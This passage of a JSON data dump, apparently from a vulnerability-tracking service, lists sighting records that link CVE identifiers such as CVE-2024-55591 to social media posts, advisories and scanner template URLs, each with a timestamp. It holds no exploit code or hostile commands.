"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://threatintel.cc/2025/01/22/patch-procrastination-leaves-fortinet-firewalls.html", "content": "", "creation_timestamp": "2025-01-22T13:25:33.000000Z"}, {"uuid": "5ed94071-456d-4ecc-9eb5-16ed45a3ea87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113964812542272403", "content": "", "creation_timestamp": "2025-02-07T21:50:36.120630Z"}, {"uuid": "95e1dcdb-ae85-4ece-936b-779eabff6706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhmmt3ddj523", "content": "", "creation_timestamp": "2025-02-07T22:15:27.492118Z"}, {"uuid": "84001a34-3d6a-471b-ad1d-3ee216401ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhmmt5gizh2x", "content": "", "creation_timestamp": "2025-02-07T22:15:29.689242Z"}, {"uuid": "086e7e11-fb7f-49fa-ac9d-d597e063d489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55630", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113964969301987255", "content": "", "creation_timestamp": "2025-02-07T22:30:27.618571Z"}, {"uuid": "0e67e806-a6f3-4260-b4d0-e8376187454e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55630", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhmq6nqijc22", "content": "", "creation_timestamp": "2025-02-07T23:15:37.141443Z"}, {"uuid": "0798dddc-7ef0-4d63-bc68-851779ccd2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhmrjablwq2c", "content": "", "creation_timestamp": "2025-02-07T23:39:25.610168Z"}, {"uuid": "c9317ca9-7abc-461d-8a5f-1df6fa137a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhmrjasto52n", "content": "", "creation_timestamp": "2025-02-07T23:39:27.642717Z"}, {"uuid": "abc34e1b-f2e4-4c1f-ba1f-426bc3e02158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55630", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhmrjbf2ov2w", "content": "", "creation_timestamp": "2025-02-07T23:39:30.628171Z"}, {"uuid": "201c6130-e236-448a-8ca2-ffee7271dc4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113966454745540249", "content": "", "creation_timestamp": "2025-02-08T04:48:13.925213Z"}, {"uuid": "fc514128-3c99-4885-bc53-bf78c7bc553e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lhonelslwk2v", "content": "", "creation_timestamp": "2025-02-08T17:30:34.984659Z"}, {"uuid": "e80a01c4-0dfe-4289-b835-2f5662f4bf97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55213", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhoz6m2r4a27", "content": "", "creation_timestamp": "2025-02-08T21:01:58.243607Z"}, {"uuid": "d7682233-3028-4a2c-ba51-93ecb53f4c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55214", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhoz6m42il2f", "content": "", "creation_timestamp": "2025-02-08T21:01:58.694625Z"}, {"uuid": "1688fdb1-3bb2-4962-93b0-b657f6ae1ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lhpagdxrz22g", "content": "", "creation_timestamp": "2025-02-08T23:11:34.434936Z"}, {"uuid": "e6681a98-d36f-49e6-92a3-e59e17cc518d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113971658301508504", "content": "", "creation_timestamp": "2025-02-09T02:51:33.675706Z"}, {"uuid": "d842d302-1dbe-40b9-8c49-2101096a192f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/dfncert/statuses/114196958656449758", "content": "", "creation_timestamp": "2025-03-20T21:48:24.980211Z"}, {"uuid": "86907311-6e9f-459b-b5cc-cc65ccdfe4d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55417.yaml", "content": "", "creation_timestamp": "2025-02-05T14:20:48.000000Z"}, {"uuid": "163dfc11-9287-43e0-91bd-09e853891a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55415.yaml", "content": "", "creation_timestamp": "2025-02-05T13:59:33.000000Z"}, {"uuid": "ca932ff8-61a1-482c-ae5a-871027a939a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55416.yaml", "content": "", "creation_timestamp": "2025-02-05T13:51:07.000000Z"}, {"uuid": "cddc199c-e0a1-4d60-9473-9c7e8af062f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55060", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkc5tgkmfr2l", "content": "", "creation_timestamp": "2025-03-13T22:36:13.180833Z"}, {"uuid": "e88944ed-f995-4fb8-a440-315538625c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://bsky.app/profile/cyberresearch.bsky.social/post/3lla7giapmn2p", "content": "", "creation_timestamp": "2025-03-25T21:24:36.287214Z"}, {"uuid": "1c3d7211-024f-4818-a5af-f0ba236c5822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lkntltqrh62p", "content": "", "creation_timestamp": "2025-03-18T14:04:55.234914Z"}, {"uuid": "d7a5e3a0-b95f-45b7-9e7e-7ea9b637eaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55213", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113981083989064485", "content": "", "creation_timestamp": "2025-02-10T18:48:56.930119Z"}, {"uuid": "c5fe2480-b16d-48d8-8f49-3571537e7566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55214", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113981084059474227", "content": "", "creation_timestamp": "2025-02-10T18:48:57.572184Z"}, {"uuid": "6b8650d4-3532-45a9-b6cd-2cb402ed4745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhu24imazy2z", "content": "", "creation_timestamp": "2025-02-10T21:02:00.268707Z"}, {"uuid": "dd4e3ec9-26df-4160-9b20-16c9eddf0b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhu24ink2k2o", "content": "", "creation_timestamp": "2025-02-10T21:02:00.767020Z"}, {"uuid": "31d8c2c8-30cd-4b70-87e0-2c331874004f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhu24ipull2t", "content": "", "creation_timestamp": "2025-02-10T21:02:01.336299Z"}, {"uuid": "df63014c-1c72-41ee-b976-82fceb256a8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lhu6rya6me2l", "content": "", "creation_timestamp": "2025-02-10T22:25:36.068161Z"}, {"uuid": "44193b1f-61d0-4733-a949-12bc09a640ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lj4blatdy225", "content": "", "creation_timestamp": "2025-02-26T21:02:03.530096Z"}, {"uuid": "b05dd9f8-13c4-4240-bc38-9473f2838d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:05.000000Z"}, {"uuid": "6b32edc1-62db-4ce3-9367-85ea93bb8882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55447", "type": "seen", "source": "https://schleuss.online/users/vulnbot/statuses/113983305607381388", "content": "", "creation_timestamp": "2025-02-11T04:13:38.825605Z"}, {"uuid": "f320a7f8-f547-4f18-a662-3bb2650d142c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lkej274hz525", "content": "", "creation_timestamp": "2025-03-14T21:02:09.257522Z"}, {"uuid": "b9751e1b-6433-49fc-9f3e-480803110838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jzudayr22", "content": "", "creation_timestamp": "2025-02-26T23:33:24.980841Z"}, {"uuid": "03e37645-a31c-4241-89c7-28bf8f982028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55447", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhvbc5gti52j", "content": "", "creation_timestamp": "2025-02-11T08:43:05.634605Z"}, {"uuid": "45f863e3-0dc1-4fea-bd29-86c5cf7ce382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55549", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkcrxqxd7p2k", "content": "", "creation_timestamp": "2025-03-14T04:36:30.673374Z"}, {"uuid": "e395fdac-98c7-4a01-bc65-6d9287c6626f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://fosstodon.org/users/cedric/statuses/113986854216787820", "content": "", "creation_timestamp": "2025-02-11T19:16:05.227283Z"}, {"uuid": "09a54380-4f89-48e0-ab4b-661ac3ac648a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986913463438541", "content": "", "creation_timestamp": "2025-02-11T19:31:09.092413Z"}, {"uuid": "86fee2ce-2384-437d-a329-b22b83618099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lhwhjbqr4b2k", "content": "", "creation_timestamp": "2025-02-11T20:07:07.330171Z"}, {"uuid": "a5c02661-62cd-4f89-809f-695c7da47444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ethicalhack3r.bsky.social/post/3lhwhxz5sv226", "content": "", "creation_timestamp": "2025-02-11T20:15:21.721274Z"}, {"uuid": "053ba9c1-b72b-40bd-99d3-da9e2b7a3e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113987492046596809", "content": "", "creation_timestamp": "2025-02-11T21:58:17.442678Z"}, {"uuid": "17929921-4b89-46c3-95aa-15e6570e02cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwopoxjbd2x", "content": "", "creation_timestamp": "2025-02-11T22:15:58.806527Z"}, {"uuid": "6f8ee6f2-02d7-49a3-b721-07c81186ce71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113987964794104921", "content": "", "creation_timestamp": "2025-02-11T23:58:31.420127Z"}, {"uuid": "7168ede1-927c-4198-942a-0e145e6fc5fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113988120596426086", "content": "", "creation_timestamp": "2025-02-12T00:38:09.897994Z"}, {"uuid": "1b48eac9-3b3b-440a-8876-1151e074462e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55447", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lhx26qjwvk2n", "content": "", "creation_timestamp": "2025-02-12T01:41:14.713692Z"}, {"uuid": "66434621-210a-4861-b712-cac116aab0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55009", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkri2j55l426", "content": "", "creation_timestamp": "2025-03-20T00:49:01.725988Z"}, {"uuid": "676ae204-cd47-44c5-a101-8084778d5ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3llalqwzwxq2k", "content": "", "creation_timestamp": "2025-03-26T01:05:11.757496Z"}, {"uuid": "5706ba03-49b5-49cf-8c14-fbb9d4e0360c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhx4miltcj26", "content": "", "creation_timestamp": "2025-02-12T02:24:44.707298Z"}, {"uuid": "d3343e3e-36ea-439c-a177-e8fcacabe28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhxbcopgds2e", "content": "", "creation_timestamp": "2025-02-12T03:48:44.420288Z"}, {"uuid": "86e21fcc-5347-48b9-8faf-b3f56c66ca33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55532", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lk33v7kdm22i", "content": "", "creation_timestamp": "2025-03-11T03:12:44.851940Z"}, {"uuid": "0ad4f3cf-357e-48d7-bea9-9f5f99c98c0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lld6doohl62i", "content": "", "creation_timestamp": "2025-03-27T01:43:07.291258Z"}, {"uuid": "468f8337-9efe-4af0-9799-52c91b6cd14c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3ll3dx7xtzq2r", "content": "", "creation_timestamp": "2025-03-23T23:02:13.506352Z"}, {"uuid": "b81761ec-0f3b-4071-a757-b16019a6f121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhz32dk7ux2d", "content": "", "creation_timestamp": "2025-02-12T21:02:04.049081Z"}, {"uuid": "611902af-9823-4c36-b15f-10dbbe813c38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3litiuhjcfs2y", "content": "", "creation_timestamp": "2025-02-23T09:18:28.608203Z"}, {"uuid": "f6048454-a630-4fb1-bb87-b336d26376f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55532", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ljidmis4fp2c", "content": "", "creation_timestamp": "2025-03-03T16:10:26.979049Z"}, {"uuid": "28a8f727-4002-4981-9866-413a3ee59fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/moksec.fi/post/3lkd42mhgas2y", "content": "", "creation_timestamp": "2025-03-14T07:37:07.745254Z"}, {"uuid": "cac6b421-29d9-4e13-bcd2-198674a208ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lkfbhtfytk2i", "content": "", "creation_timestamp": "2025-03-15T04:19:22.723125Z"}, {"uuid": "fe119730-8348-42ea-a47e-b008904f82ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lldhdfoxav2t", "content": "", "creation_timestamp": "2025-03-27T04:24:01.972532Z"}, {"uuid": "d16ddfd5-a7db-4fe4-a0a9-5851ecd6cc49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-883f3eb8-08a25dda99e455f0", "content": "", "creation_timestamp": "2025-02-13T07:08:20.808152Z"}, {"uuid": "3cef0a39-304c-4f8c-90a8-c17eb51c1739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3ll7ppfyype2q", "content": "", "creation_timestamp": "2025-03-25T16:43:16.676769Z"}, {"uuid": "b366d27b-f8f3-4c47-bf36-3d78bf5ac381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3ll3o7aocl22y", "content": "", "creation_timestamp": "2025-03-24T02:05:40.117338Z"}, {"uuid": "d5d65646-b897-4f3c-877d-a55b9591cce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/helma.mastodon.social.ap.brid.gy/post/3lkxbkpcfwfe2", "content": "", "creation_timestamp": "2025-03-22T08:32:31.166909Z"}, {"uuid": "8e3ab6d2-5db0-4f81-abe9-ff7b03f5177b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55532", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljim7hf6la2i", "content": "", "creation_timestamp": "2025-03-03T18:44:13.322860Z"}, {"uuid": "57497315-3732-4129-bf16-a549b67042d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "12725b1c-55df-4c95-afac-91791c8ed886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55570", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljim7hxg652a", "content": "", "creation_timestamp": "2025-03-03T18:44:15.723754Z"}, {"uuid": "56b33bdc-b125-4e51-abf2-2d9fb5745500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lkfjvql4yc23", "content": "", "creation_timestamp": "2025-03-15T06:50:15.848723Z"}, {"uuid": "d482d026-c95c-4437-984e-3c42c5b56d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3ll7su2ssvy2a", "content": "", "creation_timestamp": "2025-03-25T17:39:32.499357Z"}, {"uuid": "e3e5bea9-0ae7-4d9a-bc6a-569939560791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3li4am7meod2e", "content": "", "creation_timestamp": "2025-02-14T03:19:27.841461Z"}, {"uuid": "6c4bbb33-1d95-48d7-b850-1706ed7232fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/114000102050471756", "content": "", "creation_timestamp": "2025-02-14T03:25:10.975715Z"}, {"uuid": "647db9f9-b64a-420b-9b12-9675c583ef30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li4dr76uhg2p", "content": "", "creation_timestamp": "2025-02-14T04:15:56.151155Z"}, {"uuid": "19e5d574-9c42-442a-9d33-f194ac269c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3li6pikl2y224", "content": "", "creation_timestamp": "2025-02-15T02:51:10.661401Z"}, {"uuid": "443d0a1e-1a64-4c8c-a415-2fb1984c4256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-434752eb-9013b44215ce0300", "content": "", "creation_timestamp": "2025-03-18T06:51:31.425381Z"}, {"uuid": "4f4f491c-0080-40e5-ac56-4d137dab2922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://bsky.app/profile/rajsamani.bsky.social/post/3lkkvrnntn226", "content": "", "creation_timestamp": "2025-03-17T10:05:59.934462Z"}, {"uuid": "b1a101cd-1320-4aa6-bfcc-e8de069d963c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114056818035334137", "content": "", "creation_timestamp": "2025-02-24T03:48:48.161901Z"}, {"uuid": "7ecedf39-8646-4957-b255-383e2d2323d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lkqagmsrbk23", "content": "", "creation_timestamp": 